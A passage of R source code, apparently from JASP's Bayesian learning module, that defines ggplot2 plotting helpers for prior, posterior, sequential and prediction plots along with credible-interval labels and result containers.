all_arrows$y_end <- obsYmax
}
} else {
obsYmax <- max(all_arrows$y_end)
}
yBreak <- obsYmax/3
newymax <- obsYmax + yBreak*nrow(legend)
legend$y <- yBreak*(0:(nrow(legend)-1))
legend$x <- xRange[1]
# changing y-coordinates to "stack" the plots
for(i in 1:nrow(legend)){
if (legend$type[i] == "spike"){
all_arrows[all_arrows$g == legend[i,2], "y_start"] <- all_arrows[all_arrows$g == legend[i,2], "y_start"] + yBreak*(i-1)
all_arrows[all_arrows$g == legend[i,2], "y_end"] <- all_arrows[all_arrows$g == legend[i,2], "y_end"] + yBreak*(i-1)
all_arrowsL[all_arrowsL$g == legend[i,2], "y"] <- all_arrowsL[all_arrowsL$g == legend[i,2], "y"] + yBreak*(i-1)
} else if (legend$type[i] %in% c("beta", "normal")){
all_lines[all_lines$g == legend[i,2], "y"] <- all_lines[all_lines$g == legend[i,2], "y"] + yBreak*(i-1)
all_linesD[all_linesD$g == legend[i,2], "y"] <- all_linesD[all_linesD$g == legend[i,2], "y"] + yBreak*(i-1)
all_linesL[all_linesL$g == legend[i,2], "y"] <- all_linesL[all_linesL$g == legend[i,2], "y"] + yBreak*(i-1)
}
}
g <- ggplot2::ggplot()
for(i in nrow(legend):1){
if (legend$type[i] == "spike"){
g <- g + ggplot2::geom_segment(
data = all_arrows[all_arrows$g == legend$name[i],],
mapping = mappingArrows, size = 1,
arrow = ggplot2::arrow(length = ggplot2::unit(0.5, "cm"))) +
ggplot2::geom_line(
data = all_arrowsL[all_arrowsL$g == legend$name[i],],
mapping = mappingLines)
}
if (legend$type[i] %in% c("beta", "normal")){
g <- g + ggplot2::geom_line(
data = all_lines[all_lines$g == legend$name[i],],
mapping = mappingLines, size = 1) +
ggplot2::geom_polygon(
data = all_linesD[all_linesD$g == legend$name[i],],
mapping = mappingLines, fill = "grey60", alpha = .8)
if (!is.null(lCI) & !is.null(uCI)){
g <- g + ggplot2::geom_line(
data = all_linesL[all_linesL$g == legend$name[i],],
mapping = mappingLines
)
}
}
}
if (!is.null(dfPoints)){
g <- g + ggplot2::geom_point(data = dfPoints, mapping = mappingPoint, show.legend = FALSE,
inherit.aes = FALSE, size = 4, shape = 4,
stroke = 1.25, fill = "grey")
}
#legend$name <- sapply(legend$name, function(x)paste(c(x, " "), collapse = ""))
#g <- g + ggplot2::geom_text(data = legend, mapping = mappingLegend,
# size = 8, hjust = 1, vjust = 0)
g <- g + ggplot2::scale_colour_manual(values = rep("black", nrow(legend))) +
.plotXAxis(xName, xRange, discrete) +
ggplot2::scale_y_continuous(yName, limits = c(0, newymax),breaks = legend$y, labels = legend$name) +
ggplot2::coord_cartesian(clip = 'off')
g <- g + JASPgraphs::themeJaspRaw() +
JASPgraphs::geom_rangeframe(sides = 'b') +
ggplot2::theme(
legend.title = ggplot2::element_blank(),
legend.text = ggplot2::element_text(margin = ggplot2::margin(0, 0, 2, 0)),
legend.key.height = ggplot2::unit(1, "cm"),
legend.key.width = ggplot2::unit(1.5,"cm"),
axis.line.y = ggplot2::element_blank(),
#axis.text.y = ggplot2::element_blank(),
axis.ticks.y = ggplot2::element_blank(),
axis.title.y = ggplot2::element_blank(),
legend.position = "none"
#plot.margin = ggplot2::unit(c(0,0,0,max(sapply(legend$name,nchar))/60), "npc")
)
plot <- g
return(plot)
}
.plotIterativeLS <- function(all_lines, all_CI, xName = "Observations", yName = NULL, x_start = 0,
palette = "colorblind", BF_log = NULL, yRange = NULL){
all_lines <- do.call("rbind", all_lines)
all_lines$name <- factor(all_lines$name, levels = sort(levels(all_lines$name)))
obsXmax <- max(all_lines$x)
newXmax <- obsXmax
if (obsXmax > 10){
xBreaks <- round(seq(x_start, obsXmax, length.out = 7))
} else {
xBreaks <- x_start:obsXmax
}
if (is.null(yRange)){
if (is.null(BF_log)){
yRange <- c(0, 1)
} else if (BF_log){
yRange <- range(c(all_lines$y, 0))
} else if (!BF_log){
yRange <- range(c(all_lines$y, 1))
}
}
mappingLines <- ggplot2::aes(x = x, y = y,
group = name, color = name)
mappinglCI <- ggplot2::aes(x = x, y = y1,
group = name, color = name)
mappinguCI <- ggplot2::aes(x = x, y = y2,
group = name, color = name)
mappingPolygon <- ggplot2::aes(x = x, y = y, group = name, fill = name)
clr <- scales::gradient_n_pal(JASPgraphs::JASPcolors(palette))(seq(0, 1, length.out = length(unique(all_lines$name))))
#clr <- JASPgraphs::colorBrewerJasp(n = length(unique(all_lines$name)))
if (length(all_CI) > 0){
names_CI <- NULL
for(i in 1:length(all_CI)){
names_CI <- c(names_CI, as.character(unique(all_CI[[i]]$name)))
}
clr1 <- clr[order(order(names_CI))]
}
g <- ggplot2::ggplot()
if (length(all_CI) > 0){
for(i in length(all_CI):1){
if (is.null(all_CI[[i]]))next
temp_data <- all_CI[[i]]
temp_poly <- data.frame(
x = c(temp_data$x, rev(temp_data$x)),
y = c(temp_data$y1, rev(temp_data$y2)),
name = rep(temp_data$name,2)
)
g <- g +
ggplot2::geom_polygon(
data = temp_poly,
mapping = mappingPolygon, fill = clr1[i], alpha = .3) +
ggplot2::geom_path(
data = temp_data,
mapping = mappinguCI, size = 1, linetype = 2) +
ggplot2::geom_path(
data = temp_data,
mapping = mappinglCI, size = 1, linetype = 2)
}
}
if (!is.null(BF_log)){
if (BF_log){
g <- g +
ggplot2::geom_line(
data = data.frame(x = c(1, newXmax), y = c(0, 0)),
mapping = ggplot2::aes(x = x, y = y), size = 1, show.legend = F, linetype = 3)
} else if (!BF_log){
g <- g +
ggplot2::geom_line(
data = data.frame(x = c(1, newXmax), y = c(1, 1)),
mapping = ggplot2::aes(x = x, y = y), size = 1, show.legend = F, linetype = 3)
}
}
g <- g +
ggplot2::geom_line(
data = all_lines,
mapping = mappingLines, size = 1)
g <- g + .plotXAxis(xName, c(x_start, newXmax), TRUE)
g <- g + .plotYAxis2(yName, yRange)
g <- g + ggplot2::scale_colour_manual(values = clr)
if (mean(all_lines$y[all_lines$x == max(all_lines$x)]) > .5) {
legend.position = c(0.8, 0.03 + length(unique(all_lines$name))/10)
} else {
legend.position = c(0.8, 1.03)
}
g <- g + JASPgraphs::themeJaspRaw(legend.position = legend.position) +
JASPgraphs::geom_rangeframe(sides = 'lb') +
ggplot2::theme(
legend.title = ggplot2::element_blank(),
legend.text = ggplot2::element_text(margin = ggplot2::margin(0, 2, 2, 0)),
legend.key.height = ggplot2::unit(1, "cm"),
legend.key.width = ggplot2::unit(1.5,"cm"),
)
plot <- g
class(plot) <- c("JASPgraphs", class(plot))
return(plot)
}
.plotIndividualLS <- function(all_lines, all_arrows, point_estimate, CI, CIall_lines, dfPoints = NULL, xRange, xName, yName = NULL, nRound = 3){
mappingLines <- ggplot2::aes(x = x, y = y, group = g,)
mappingArrows <- ggplot2::aes(x = x , xend = x, y = y_start, yend = y_end, group = g)
mappingArrows1 <- ggplot2::aes(x = x_start , xend = x_end, y = y, yend = y, group = g)
mappingArrows2 <- ggplot2::aes(x = x_end , xend = x_start, y = y, yend = y, group = g)
mappingText <- ggplot2::aes(x = x, y = y, label = label)
mappingPoint <- ggplot2::aes(x = x, y = y)
# get the y_axis max
y_max <- .getYMax(all_lines, all_arrows)
# set the CI text
if (!is.null(CI) || !is.null(point_estimate)){
# text for the interval
temp_label <- .CI_labelLS(CI, nRound, point_estimate)
} else {
temp_label <- NULL
}
if (!is.null(CI))
CI <- cbind.data.frame(CI, "y" = y_max * 1.05)
g <- ggplot2::ggplot()
if (!is.null(all_arrows)){
temp_arrows <- all_arrows
temp_arrows$y_end <- temp_arrows$y_end * .scalingSpikes(all_lines, all_arrows)
g <- g + ggplot2::geom_segment(
data = all_arrows,
mapping = mappingArrows, size = 1,
arrow = ggplot2::arrow(length = ggplot2::unit(0.5, "cm")),
color = "black")
}
if (!is.null(all_lines)){
if (!is.null(CIall_lines)){
g <- g + ggplot2::geom_polygon(
data = CIall_lines,
mapping = mappingLines, fill = "grey60", alpha = .8)
}
g <- g + ggplot2::geom_line(
data = all_lines,
mapping = mappingLines, size = 1, color = "black")
}
if (!is.null(CI)){
if (!is.na(CI$x_start[1])){
g <- g + ggplot2::geom_segment(
data = CI,
mapping = mappingArrows1, size = 1,
arrow = ggplot2::arrow(angle = 90, length = ggplot2::unit(0.25, "cm")),
color = "black") + ggplot2::geom_segment(
data = CI,
mapping = mappingArrows2, size = 1,
arrow = ggplot2::arrow(angle = 90, length = ggplot2::unit(0.25, "cm")),
color = "black")
}
}
if (!is.null(CI) || !is.null(point_estimate)){
label_y <- if (length(temp_label) == 1) 1.10 else 1.25 - .07 * c(1:length(temp_label))
for(i in 1:length(temp_label)){
temp_text <- data.frame(
label = temp_label[i],
x = (xRange[1] + xRange[2])/2,
y = y_max * label_y[i]
)
g <- g + ggplot2::geom_text(
data = temp_text,
mapping = mappingText,
parse = TRUE,
hjust = .5, vjust = 0, size = 6
)
}
}
if (!is.null(dfPoints)){
g <- g + ggplot2::geom_point(data = dfPoints, mapping = mappingPoint, show.legend = FALSE,
inherit.aes = FALSE, size = 4, shape = 4,
stroke = 1.25, fill = "grey")
}
if (!is.null(point_estimate)){
if (!anyNA(point_estimate$x)){
g <- g + ggplot2::geom_point(data = point_estimate, mapping = mappingPoint, show.legend = FALSE,
inherit.aes = FALSE, size = 4, shape = 21,
stroke = 1.25, fill = "grey")
}
}
# x-axes
g <- g + .plotXAxis(xName, xRange, FALSE)
g <- g + .plotYAxis(all_lines, all_arrows, temp_label)
g <- g + JASPgraphs::themeJaspRaw() +
JASPgraphs::geom_rangeframe(sides = if (!is.null(all_lines) & !is.null(all_arrows)) "lbr" else "lb") +
ggplot2::theme(
legend.title = ggplot2::element_blank(),
legend.text = ggplot2::element_text(margin = ggplot2::margin(0, 0, 2, 0)),
legend.key.height = ggplot2::unit(1, "cm"),
legend.key.width = ggplot2::unit(1.5,"cm")) +
.plotThemePlus(all_lines, all_arrows)
plot <- g
return(plot)
}
.plotPredictionLS <- function(dfHist, point_estimate, CI, xRange, xName, yName, nRound = 0, xBlacked = NULL,
proportions = FALSE, predictionN = NULL){
mappingHistogram <- ggplot2::aes(x = x, y = y, fill = col)
mappingArrows1 <- ggplot2::aes(x = x_start_adj , xend = x_end_adj, y = y, yend = y, group = g)
mappingArrows2 <- ggplot2::aes(x = x_end_adj, xend = x_start_adj, y = y, yend = y, group = g)
mappingText <- ggplot2::aes(x = x, y = y, label = label)
mappingPoint <- ggplot2::aes(x = x, y = y)
if (!is.null(CI) || !is.null(point_estimate)){
# text for the interval
temp_label <- .CI_labelLS(CI, nRound, point_estimate)
y_max_multiplier <- ifelse(length(temp_label) == 1, 1.15, 1.25)
} else {
temp_label <- NULL
}
if (proportions){
xBreaks <- JASPgraphs::getPrettyAxisBreaks(xRange)
xBreaks[1] <- 0
xBreaks[length(xBreaks)] <- 1
} else {
xBreaks <- round(JASPgraphs::getPrettyAxisBreaks(xRange))
xBreaks[length(xBreaks)] <- predictionN
}
if (xBreaks[length(xBreaks)] > xRange[2])xBreaks[length(xBreaks)] <- xRange[2]
obsYmax <- max(dfHist$y)
if (all(round(dfHist$y[1], 5) == round(dfHist$y, 5)))
obsYmax <- obsYmax * 1.2
yBreaks <- JASPgraphs::getPrettyAxisBreaks(c(0, obsYmax))
breaksYmax <- yBreaks[length(yBreaks)]
newymax <- max(ifelse(!is.null(CI) || !is.null(point_estimate), y_max_multiplier + .05, 1.10) * obsYmax, breaksYmax)
dfHist$col <- "a"
if (!is.null(CI)){
CI <- cbind.data.frame(CI, "y" = obsYmax * 1.10)
if (!proportions){
CI$x_start_adj <- CI$x_start - .5
CI$x_end_adj <- CI$x_end + .5
} else {
CI$x_start_adj <- CI$x_start - .5/(predictionN + 1)
CI$x_end_adj <- CI$x_end + .5/(predictionN + 1)
}
for(i in 1:nrow(CI)){
dfHist$col[dfHist$x >= CI$x_start[i] & dfHist$x <= CI$x_end[i]] <- "b"
}
}
if (!is.null(xBlacked))
dfHist[dfHist$x == xBlacked,"col"] <- "c"
g <- ggplot2::ggplot()
g <- g + ggplot2::geom_bar(
data = dfHist,
mapping = mappingHistogram,
#fill = "grey",
col = "black",
stat = "identity"
)
if (!is.null(CI)){
if (!is.na(CI$x_start[1])){
g <- g + ggplot2::geom_segment(
data = CI,
mapping = mappingArrows1, size = 1,
arrow = ggplot2::arrow(angle = 90, length = ggplot2::unit(0.25, "cm")),
color = "black") + ggplot2::geom_segment(
data = CI,
mapping = mappingArrows2, size = 1,
arrow = ggplot2::arrow(angle = 90, length = ggplot2::unit(0.25, "cm")),
color = "black")
}
}
if (!is.null(CI) || !is.null(point_estimate)){
r <- 0
for(i in 1:length(temp_label)){
temp_text <- data.frame(
label = temp_label[i],
x = (xRange[1] + xRange[2])/2,
y = obsYmax * (y_max_multiplier-r)
)
g <- g + ggplot2::geom_text(
data = temp_text,
mapping = mappingText,
parse = TRUE,
hjust = .5, vjust = 0, size = 6
)
r <- r + .10
}
}
if (!is.null(point_estimate)){
if (!anyNA(point_estimate$x)){
g <- g + ggplot2::geom_point(data = point_estimate, mapping = mappingPoint, show.legend = FALSE,
inherit.aes = FALSE, size = 4, shape = 21,
stroke = 1.25, fill = "grey")
}
}
# control fill
if (is.null(CI)){
fillColor <- c("grey90")
} else {
if (nrow(CI) == 1){
if (all(xRange[1]:xRange[2] %in% CI$x_start:CI$x_end)){
fillColor <- c("grey50")
} else {
fillColor <- c("grey90", "grey50")
}
} else {
if (all(xRange[1]:xRange[2] %in% c(unlist(sapply(1:nrow(CI), function(i)CI$x_start[i]:CI$x_end[i]))))){
fillColor <- c("grey50")
} else {
fillColor <- c("grey90", "grey50")
}
}
}
if (!is.null(xBlacked))
fillColor <- c(fillColor, "black")
if (!proportions){
g <- g + ggplot2::scale_x_continuous(xName, breaks = xBreaks, limits = c(xRange[1] - .5, xRange[2] + .5))
} else {
g <- g + ggplot2::scale_x_continuous(xName, breaks = xBreaks, limits = c(xRange[1] - .5/(predictionN+1), xRange[2] + .5/(predictionN+1)))
}
g <- g + ggplot2::scale_y_continuous(yName, breaks = yBreaks, limits = c(0, newymax))
g <- g + ggplot2::scale_colour_manual(values = fillColor, aesthetics = "fill")
g <- g + JASPgraphs::themeJaspRaw() +
JASPgraphs::geom_rangeframe(sides = 'lb') +
ggplot2::theme(
legend.title = ggplot2::element_blank(),
legend.text = ggplot2::element_text(margin = ggplot2::margin(0, 0, 2, 0)),
legend.key.height = ggplot2::unit(1, "cm"),
legend.key.width = ggplot2::unit(1.5,"cm"))
plot <- g
return(plot)
}
.plotAccuracyLS <- function(dfHist, xName = xName, yName = yName){
mappingHistogram <- ggplot2::aes(x = x, y = y, fill = col)
yBreaks <- JASPgraphs::getPrettyAxisBreaks(c(0, dfHist$y))
xBreaks <- 1:nrow(dfHist)
xRange <- c(.5, nrow(dfHist) + .5)
obsYmax <- max(dfHist$y)
breaksYmax <- yBreaks[length(yBreaks)]
newymax <- max(1.10 * obsYmax, breaksYmax)
dfHist$col <- "a"
g <- ggplot2::ggplot()
g <- g + ggplot2::geom_bar(
data = dfHist,
mapping = mappingHistogram,
#fill = "grey",
col = "black",
stat = "identity"
)
g <- g + ggplot2::scale_x_continuous(xName, breaks = xBreaks, labels = dfHist$g, limits = xRange)
g <- g + ggplot2::scale_y_continuous(yName, breaks = yBreaks, limits = c(0, newymax))
g <- g + ggplot2::scale_colour_manual(values = "grey90", aesthetics = "fill")
g <- g + JASPgraphs::themeJaspRaw() +
JASPgraphs::geom_rangeframe(sides = 'lb') +
ggplot2::theme(
legend.title = ggplot2::element_blank(),
legend.text = ggplot2::element_text(margin = ggplot2::margin(0, 0, 2, 0)),
legend.key.height = ggplot2::unit(1, "cm"),
legend.key.width = ggplot2::unit(1.5,"cm"),
axis.text.x = ggplot2::element_text(angle = 45))
plot <- g
return(plot)
}
# support functions
.CI_labelLS <- function(CI, nRound, PE = NULL){
if (!is.null(CI)){
temp_int <- sapply(1:nrow(CI), function(i){
if (is.na(CI$x_start[i])){
x <- "none"
#x <- "~symbol(\\306)"
} else if (CI$x_start[i] == CI$x_end[i]){
x <- paste(c(
"[",format(round(CI$x_start[i], nRound), nsmall = nRound),"]"
), collapse = "")
} else {
x <- paste(c(
"[",format(round(CI$x_start[i], nRound), nsmall = nRound),", ",format(round(CI$x_end[i], nRound), nsmall = nRound),"]"
), collapse = "")
}
return(x)
}
)
temp_int <- paste(temp_int, collapse = " and " )
temp_int <- paste("'",temp_int,"'")
# text for the coverage
temp_cov <- paste(c("'",round(CI$coverage[1]*100), "% CI'"), collapse = "")
if (CI$g[1] == "HPD"){
temp_label <- paste(c(temp_cov,"['HPD']:",temp_int), collapse = "")
} else if (CI$g[1] == "custom"){
temp_label <- paste(c("P({",format(round(CI$x_start, nRound), nsmall = nRound),"<=",if (CI$parameter == "theta") "theta" else if (CI$parameter == "mu") "mu","}<=",
(format(round(CI$x_end, nRound), nsmall = nRound)),")","=='",round(CI$coverage[1]*100)," %'"), collapse = "")
} else if (CI$g[1] == "support"){
temp_label <- paste(c("SI['[BF = ",CI$BF[1],"]']:",temp_int), collapse = "")
} else if (CI$g[1] == "central"){
temp_label <- paste(c(temp_cov,":",temp_int), collapse = "")
}
} else {
temp_label <- NULL
}
if (!is.null(PE)){
if (nrow(PE) > 1)
PE <- PE[1,]
PEl <- PE$l
if (is.numeric(PE$l))
PEl <- format(round(PEl, ifelse(PE$estimate == "mean", 3, nRound)), nsmall = ifelse(PE$estimate == "mean", 3, nRound))
temp_pe <- paste0("'", PE$estimate,"'", ":", "' ", PEl, ifelse(is.null(temp_label), " '", "; '"))
if (!is.null(temp_label)){
temp_label <- paste(temp_pe, temp_label, sep = "~")
} else {
temp_label <- temp_pe
}
}
if (nchar(temp_label) > 75){
temp_o <- gregexpr(" and", substr(temp_label, 1, 65))
temp_label <- c(paste(substr(temp_label, 1, temp_o[[1]][length(temp_o[[1]])]-1), "'", sep = ""),
paste("'",substr(temp_label, temp_o[[1]][length(temp_o[[1]])], nchar(temp_label)), sep = ""))
}
return(temp_label)
}
.getYMax <- function(all_lines, all_arrows){
if (!is.null(all_lines)){
max_x_lines <- max(all_lines$y)
if (all(round(all_lines$y[1], 5) == round(all_lines$y, 5)))
max_x_lines <- max_x_lines * 1.2
}
if (!is.null(all_lines) & !is.null(all_arrows)){
y_breaks <- JASPgraphs::getPrettyAxisBreaks(c(0, max_x_lines))
y_max <- max(c(all_lines$y, y_breaks))
} else if (!is.null(all_lines)){
y_breaks <- JASPgraphs::getPrettyAxisBreaks(c(0, max_x_lines))
y_max <- max(c(all_lines$y, y_breaks))
} else {
y_breaks <- JASPgraphs::getPrettyAxisBreaks(c(0, max(all_arrows$y_end)))
y_max <- max(c(all_arrows$y_end, y_breaks))
}
return(y_max)
}
.scalingSpikes <- function(all_lines, all_arrows){
if (!is.null(all_lines) & !is.null(all_arrows)){
y_max <- .getYMax(all_lines, all_arrows)
y_breaks2 <- JASPgraphs::getPrettyAxisBreaks(c(0, max(all_arrows$y_end)))
return(y_max/max(y_breaks2))
} else {
return(1)
}
}
.plotXAxis <- function(x_name, x_range, discrete){
x_breaks <- JASPgraphs::getPrettyAxisBreaks(x_range)
if (discrete){
x_breaks <- round(x_breaks)
x_breaks <- unique(x_breaks[x_breaks >= x_range[1] & x_breaks <= x_range[2]])
if (x_breaks[1] > ceiling(x_range[1]))
x_breaks <- c(ceiling(x_range[1]), x_breaks)
if (x_breaks[length(x_breaks)] < floor(x_range[2]))
x_breaks <- c(x_breaks, floor(x_range[2]))
}
x_range <- range(c(x_range, x_breaks))
return(ggplot2::scale_x_continuous(x_name, limits = x_range, breaks = x_breaks))
}
.plotYAxis <- function(all_lines, all_arrows, CI){
y_max <- .getYMax(all_lines, all_arrows)
if (!is.null(all_lines) & !is.null(all_arrows)){
y_breaks <- JASPgraphs::getPrettyAxisBreaks(c(0, y_max))
y_breaks2 <- JASPgraphs::getPrettyAxisBreaks(c(0, max(all_arrows$y_end)))
y_pos2 <- y_breaks2/(max(y_breaks2)/y_max)
} else if (!is.null(all_lines)){
y_breaks <- JASPgraphs::getPrettyAxisBreaks(c(0, y_max))
} else {
y_breaks <- JASPgraphs::getPrettyAxisBreaks(c(0, y_max))
}
# set the y-scale plotting range
if (!is.null(CI)){
y_range <- c(0, y_max * 1.20)
} else {
y_range <- c(0, y_max)
}
if (!is.null(all_lines) & !is.null(all_arrows)){
return(ggplot2::scale_y_continuous(
gettext("Density"),
breaks = y_breaks,
limits = y_range,
sec.axis = ggplot2::sec_axis(
~ .,
name = gettext("Probability"),
breaks = y_pos2,
labels = y_breaks2)
))
} else {
return(ggplot2::scale_y_continuous(
ifelse(is.null(all_lines), gettext("Probability"), gettext("Density")),
breaks = y_breaks,
limits = y_range
))
}
}
.plotYAxis2 <- function(y_name, y_range){
y_breaks <- JASPgraphs::getPrettyAxisBreaks(y_range)
y_range <- range(c(y_range, y_breaks))
return(ggplot2::scale_y_continuous(y_name, limits = y_range, breaks = y_breaks))
}
.plotThemePlus <- function(all_lines, all_arrows){
if (!is.null(all_lines) & !is.null(all_arrows)){
return(
ggplot2::theme(
axis.title.y.right = ggplot2::element_text(vjust = 3),
plot.margin = ggplot2::margin(t = 3, r = 10, b = 0, l = 1))
)
} else {
return(
ggplot2::theme(
axis.title.y.right = ggplot2::element_text(vjust = 3.5),
plot.margin = ggplot2::margin(t = 3, r = 0, b = 0, l = 1))
)
}
}
# containers and common outputs
.introductoryTextLS <- function(jaspResults, options, analysis){
if (!is.null(jaspResults[['introText']])) return()
intro <- createJaspHtml()
intro$dependOn(c("introText"))
intro$position <- 0
intro[['text']] <- .explanatoryTextLS("main", NULL, analysis)
jaspResults[['introText']] <- intro
return()
}
.estimatesContainerLS <- function(jaspResults, options, analysis){
if (is.null(jaspResults[["estimatesContainer"]])){
estimatesContainer <- createJaspContainer("Model")
estimatesContainer$position <- 2
estimatesContainer$dependOn("pointEstimate")
jaspResults[["estimatesContainer"]] <- estimatesContainer
} else {
estimatesContainer <- jaspResults[["estimatesContainer"]]
}
if (options[["introText"]] && is.null(estimatesContainer[['introText']])){
introText <- createJaspHtml()
introText$dependOn("introText")
introText$position <- 1
introText[['text']] <- .explanatoryTextLS("estimates", options, analysis)
estimatesContainer[['introText']] <- introText
}
return(estimatesContainer)
}
.containerPlotsLS <- function(jaspResults, options, analysis, type){
if (is.null(jaspResults[[paste0("containerPlots", type)]])){
containerPlots <- createJaspContainer(title = gettextf(
"%1$s %2$s Plots",
switch(
options[[ifelse(type == "Prior", "plotsPriorType", "plotsPosteriorType")]],
"overlying" = gettext("All"),
"stacked" = gettext("Stacked"),
"individual"= gettext("Individual")
),
type))
containerPlots$dependOn(c(
ifelse(type == "Prior", "plotsPrior", "plotsPosterior"),
ifelse(type == "Prior", "plotsPriorType", "plotsPosteriorType")
))
containerPlots$position <- ifelse(type == "Prior", 3, 4)
jaspResults[[paste0("containerPlots", type)]] <- containerPlots
} else {
containerPlots <- jaspResults[[paste0("containerPlots", type)]]
}
if (options[["introText"]] && is.null(containerPlots[['introText']])){
introText <- createJaspHtml()
introText$dependOn("introText")
introText$position <- 1
introText[['text']] <- .explanatoryTextLS("parameter_plots", options, analysis, type)
containerPlots[['introText']] <- introText
}
return(containerPlots)
}
.containerPlotsBothLS <- function(jaspResults, options, analysis){
if (is.null(jaspResults[["containerBoth"]])){
containerBoth <- createJaspContainer(title = gettext("Prior and Posterior Plots"))
containerBoth$position <- 5
containerBoth$dependOn("plotsBoth")
jaspResults[["containerBoth"]] <- containerBoth
} else {
containerBoth <- jaspResults[["containerBoth"]]
}
if (options[["introText"]] && is.null(containerBoth[['introText']])){
introText <- createJaspHtml()
introText$dependOn("introText")
introText$position <- 1
introText[['text']] <- .explanatoryTextLS("both_plots", options, analysis)
containerBoth[['introText']] <- introText
}
return(containerBoth)
}
.containerSequentialPointLS <- function(jaspResults, options, analysis){
if (is.null(jaspResults[["containerIterative"]])){
containerIterative <- createJaspContainer(title = gettextf(
"%s Sequential Analysis: Point Estimate",
switch(
options[["plotsIterativeType"]],
"overlying" = gettext("All"),
"stacked" = gettext("Stacked"),
"individual"= gettext("Individual")
)))
containerIterative$position <- 6
containerIterative$dependOn(c("plotsIterative", "plotsIterativeType", "plotsIterativeEstimateType"))
jaspResults[["containerIterative"]] <- containerIterative
} else {
containerIterative <- jaspResults[["containerIterative"]]
}
if (options[["introText"]] && is.null(containerIterative[['introText']])){
introText <- createJaspHtml()
introText$dependOn("introText")
introText$position <- 1
introText[['text']] <- .explanatoryTextLS("sequential_point", options, analysis)
containerIterative[['introText']] <- introText
}
return(containerIterative)
}
.containerSequentialIntervalLS <- function(jaspResults, options, analysis){
if (is.null(jaspResults[["containerIterativeInterval"]])){
containerIterativeInterval <- createJaspContainer(title = gettextf(
"%s Sequential Analysis: Interval",
switch(
options[["plotsIterativeIntervalType"]],
"overlying" = gettext("All"),
"stacked" = gettext("Stacked"),
"individual"= gettext("Individual")
)))
containerIterativeInterval$position <- 7
containerIterativeInterval$dependOn(c("plotsIterativeInterval", "plotsIterativeIntervalType"))
jaspResults[["containerIterativeInterval"]] <- containerIterativeInterval
} else {
containerIterativeInterval <- jaspResults[["containerIterativeInterval"]]
}
if (options[["introText"]] && is.null(containerIterativeInterval[['introText']])){
introText <- createJaspHtml()
introText$dependOn(c("introText", "plotsIterativeIntervalType"))
introText$position <- 1
introText[['text']] <- .explanatoryTextLS("sequential_interval", options, analysis)
containerIterativeInterval[['introText']] <- introText
}
return(containerIterativeInterval)
}
.containerSequentialUpdatingLS <- function(jaspResults, options, analysis){
if (is.null(jaspResults[["containerIterativeUpdating"]])){
containerIterativeUpdating <- createJaspContainer(title = gettext("Sequential Posterior Updating"))
containerIterativeUpdating$position <- 8
containerIterativeUpdating$dependOn("doIterative")
jaspResults[["containerIterativeUpdating"]] <- containerIterativeUpdating
} else {
containerIterativeUpdating <- jaspResults[["containerIterativeUpdating"]]
}
if (options[["introText"]] && is.null(containerIterativeUpdating[['introText']])){
introText <- createJaspHtml()
introText$dependOn("introText")
introText$position <- 1
introText[['text']] <- .explanatoryTextLS("sequential_updating", options, analysis)
containerIterativeUpdating[['introText']] <- introText
}
return(containerIterativeUpdating)
}
.containerPredictionsLS <- function(jaspResults, options, analysis){
if (is.null(jaspResults[["containerPredictions"]])){
containerPredictions <- createJaspContainer(title = gettext("Prediction Summary"))
containerPredictions$position <- 9
containerPredictions$dependOn(c("predictionTable", "predictionTableEstimate"))
jaspResults[["containerPredictions"]] <- containerPredictions
} else {
containerPredictions <- jaspResults[["containerPredictions"]]
}
if (options[["introText"]] && is.null(containerPredictions[['introText']])){
introText <- createJaspHtml()
introText$dependOn("introText")
introText$position <- 1
introText[['text']] <- .explanatoryTextLS("predictions", options, analysis)
containerPredictions[['introText']] <- introText
}
return(containerPredictions)
}
.containerPredictionPlotsLS <- function(jaspResults, options, analysis){
if (is.null(jaspResults[["containerPredictionPlots"]])){
containerPredictionPlots <- createJaspContainer(title = gettextf(
"%s Prediction Plots",
switch(
options[["predictionPlotType"]],
"overlying" = gettext("All"),
"stacked" = gettext("Stacked"),
"individual"= gettext("Individual")
)))
containerPredictionPlots$position <- 10
containerPredictionPlots$dependOn(c("plotsPredictions", "predictionPlotType"))
jaspResults[["containerPredictionPlots"]] <- containerPredictionPlots
} else {
containerPredictionPlots <- jaspResults[["containerPredictionPlots"]]
}
if (options[["introText"]] && is.null(containerPredictionPlots[['introText']])){
introText <- createJaspHtml()
introText$dependOn("introText")
introText$position <- 1
introText[['text']] <- .explanatoryTextLS("prediction_plots", options, analysis)
containerPredictionPlots[['introText']] <- introText
}
return(containerPredictionPlots)
}
.containerPlots2LS <- function(jaspResults, options, analysis, type){
if (is.null(jaspResults[[paste0("containerPlots", type)]])){
containerPlots <- createJaspContainer(title = gettextf(
"%1$s %2$s Plots",
switch(
options[[ifelse(type == "Prior", "plotsPriorType", "plotsPosteriorType")]],
"conditional" = gettext("Conditional"),
"joint" = gettext("Joint"),
"marginal" = gettext("Marginal")
),
type))
containerPlots$dependOn(c(
ifelse(type == "Prior", "plotsPrior", "plotsPosterior"),
ifelse(type == "Prior", "plotsPriorType", "plotsPosteriorType")
))
containerPlots$position <- ifelse(type == "Prior", 3, 6)
jaspResults[[paste0("containerPlots", type)]] <- containerPlots
} else {
containerPlots <- jaspResults[[paste0("containerPlots", type)]]
}
if (options[["introText"]] && is.null(containerPlots[['introText']])){
introText <- createJaspHtml()
introText$dependOn("introText")
introText$position <- 1
introText[['text']] <- .explanatoryTextLS("parameter_plots", options, analysis, type)
containerPlots[['introText']] <- introText
}
return(containerPlots)
}
.containerPrediction2PlotsLS <- function(jaspResults, options, analysis, type){
if (is.null(jaspResults[[paste0("containerPlotsPrediction", type)]])){
containerPlots <- createJaspContainer(title = gettextf(
"%1$s %2$s Prediction Plots",
switch(
options[[ifelse(type == "Prior", "plotsPredictionType", "plotsPredictionPostType")]],
"conditional" = gettext("Conditional"),
"joint" = gettext("Joint"),
"marginal" = gettext("Marginal")
),
type))
containerPlots$dependOn(c(
ifelse(type == "Prior", "plotsPredictions", "plotsPredictionsPost"),
ifelse(type == "Prior", "plotsPredictionType", "plotsPredictionPostType"),
if (type == "Posterior") "predictionN"
))
containerPlots$position <- ifelse(type == "Prior", 4, 10)
jaspResults[[paste0("containerPlotsPrediction", type)]] <- containerPlots
} else {
containerPlots <- jaspResults[[paste0("containerPlotsPrediction", type)]]
}
if (options[["introText"]] && is.null(containerPlots[['introText']])){
introText <- createJaspHtml()
introText$dependOn(c("introText", ifelse(type == "Prior", "plotsPredictionType", "plotsPredictionPostType")))
introText$position <- 1
introText[['text']] <- .explanatoryTextLS("prediction_plots", options, analysis, type)
containerPlots[['introText']] <- introText
}
return(containerPlots)
}
